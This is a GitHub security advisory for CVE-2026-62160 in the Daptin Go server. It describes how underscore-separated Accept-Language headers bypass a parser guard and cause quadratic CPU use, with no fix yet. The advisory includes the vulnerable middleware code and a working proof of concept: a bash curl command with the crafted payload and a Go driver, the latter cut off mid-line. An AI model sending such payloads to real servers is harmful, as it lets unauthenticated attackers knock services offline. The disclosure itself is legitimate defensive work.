GitHub Advisoryadvisory · Go
GHSA-rhj7-vh3v-mcq6 Daptin: ParseAcceptLanguage `_` separator bypass enables >250x CPU amplification via Accept-Language header in LanguageMiddleware
HIGH
Official page ↗
- Aliases
- CVE-2026-62160
- Ecosystem
- Go
- Packages
- github.com/daptin/daptin
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Weaknesses
- CWE-400
- Reviewed
- 2026-10-29
Affected packages
• Go github.com/daptin/daptin: <= 0.12.15 (no fix yet)
Description
Summary
Daptin's `LanguageMiddleware` (registered as a global gin middleware) calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header of every HTTP request without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators (only 256 KiB, not even the 1 MiB ceiling) consumes about 27 seconds of server CPU on the host running Daptin. A 1 MiB payload exceeds the 2-minute test client timeout. A single attacker on a 1 Mbit/s uplink can pin an entire Daptin host with one request every 30 seconds.
Affected versions
`github.com/daptin/daptin` v0.12.15 and (per code inspection of `master`) all earlier 0.12.x versions that wire `LanguageMiddleware` on the global gin router without imposing their own size limit on `Accept-Language`. Verified on:
• the official release binary `daptin-linux-amd64` v0.12.15 built into a Docker image from the project's own `Dockerfile` (E2E below)
• `master` at commit `b021ac4ae1f72b7401e851fcf883bc970303c794` by reading `server/language.go` (the middleware is unchanged)
Privilege required
Unauthenticated. The middleware is registered on the global gin router that serves both the public landing page and the unauthenticated `/api` style endpoints. Anyone who can reach the HTTP listener (port 8080 by default) is in scope.
Vulnerable code
`server/language.go` (blob SHA `b021ac4ae1f72b7401e851fcf883bc970303c794`):
```go
func (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) {
pref := GetLanguagePreference(c.GetHeader("Accept-Language"), lm.defaultLanguage)
c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), "language_preference", pref))
}
func GetLanguagePreference(header string, defaultLanguage string) []string {
preferredLanguage := header
if preferredLanguage == "" || preferredLanguage == "undefined" || preferredLanguage == "null" {
preferredLanguage = defaultLanguage
}
languageTags, _, err := language.ParseAcceptLanguage(preferredLanguage)
resource.CheckErr(err, "Failed to parse Accept-Language header [%v]", preferredLanguage)
pref := make([]string, 0)
prefMap := make(map[string]bool)
if len(languageTags) == 1 && languageTags[0].String() == defaultLanguage {
// single tag matches default — skip
} else {
for _, tag := range languageTags {
base, conf := tag.Base()
if conf == 0 {
continue
}
if prefMap[base.String()] == true {
continue
}
prefMap[base.String()] = true
pref = append(pref, base.String())
}
}
return pref
}
```
`c.GetHeader("Accept-Language")` is the unfiltered HTTP header. Go's default `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and Daptin does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.
The `resource.CheckErr` call on the error path also formats the entire input string into a log line (`Failed to parse Accept-Language header [%v]`), amplifying the cost on attacker-supplied 256 KiB-1 MiB payloads.
CVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time (`golang.org/x/text/internal/language/parse.go`). A 256 KiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path.
How `Accept-Language` reaches `ParseAcceptLanguage`
Every HTTP request that hits the Daptin API server passes through `LanguageMiddleware` (registered as a global gin middleware). The middleware sequence is:
1. The request enters `LanguageMiddlewareFunc`.
2. `c.GetHeader("Accept-Language")` returns the full attacker-supplied header value.
3. `GetLanguagePreference(header, defaultLanguage)` is called.
4. The function passes the unfiltered header into `language.ParseAcceptLanguage(preferredLanguage)`.
No size or character-class filter is applied between (2) and (4). The middleware runs for every gin handler — including the unauthenticated landing page at `/` and the public API root at `/api`.
Proof of concept
Single-line bash reproducer that crafts the malicious header and times one request against a fresh Daptin container built from the project's own Dockerfile:
```bash
Build daptin image (uses prebuilt linux/amd64 release binary)
cd daptin
curl -fL -O https://github.com/daptin/daptin/releases/download/v0.12.15/daptin-linux-amd64
chmod +x daptin-linux-amd64
docker build --platform linux/amd64 -t daptin-poc:v0.12.15 .
Start it
docker run -d --platform linux/amd64 --name daptin --rm -p 18888:8080 daptin-poc:v0.12.15
sleep 8 # wait for sqlite migrations + Olric ring
Attack with a 256 KiB header (smaller than the default 1 MiB ceiling
because daptin's per-request cost saturates well below 1 MiB)
PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 25600, end="")')"
echo "header size = ${#PAYLOAD} bytes"
curl -sS -o /dev/null \
-w 'http=%{http_code} t=%{time_total}\n' \
-H "Accept-Language: ${PAYLOAD}" \
http://127.0.0.1:18888/
```
Each 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²).
End-to-end reproduction (against `daptin-linux-amd64` v0.12.15)
A Go driver `poc.go` boots the container, sends a 256 KiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed):
```go
// poc.go
package main
import (
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
)
const targetURL = "http://127.0.0.1:18888/"
func buildPayload(sep string, targetBytes int) string {
const tok = "abcdefghi"
var b strings.Builder
b.Grow(targetBytes + 16)
b.WriteString("en")
for b.Len()+1+len(tok) <= targetBytes {
b.WriteString(sep)
b.WriteString(tok)
}
return b.String()
}
func send(label, header string) {
client := &http.Client{
Timeout: 120 * time.Second,
Transport: &http.Transport{
DisableKeepAlives: true,
DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
},
}
req, _ := http.NewRequest("GET", targetURL, nil)
if header != "" {
req.Header.Set("Accept-Language", header)
}
t0 := time.Now()
resp, err := client.Do(req)
dt := time.Since(t0)
if err != nil {
fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err)
return
}
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n",
label, len(header),
strings.Count(header, "_"), strings.Count(header, "-"),
resp.StatusCode, dt)
}
func main() {
send("warm-up", "")
send("baseline (no header)", "")
send("baseline (1 short tag)", "en-US")
send("guard-fires ('-' x 256KiB)", buildPayload("-", 256*1024))
send("attack ('_' x 256KiB)", buildPayload("_", 256*1024))
send("attack repeat 2", buildPayload("_", 256*1024))
send("attack repeat 3", buildPayload("_", 256*102…
Related
Alias · CVE (1)
- CVE-2026-62160 Daptin is a GraphQL/JSON-API headless CMS. vulnerability
Weakness · CWE (1)
- CWE-400 Uncontrolled Resource Consumption weakness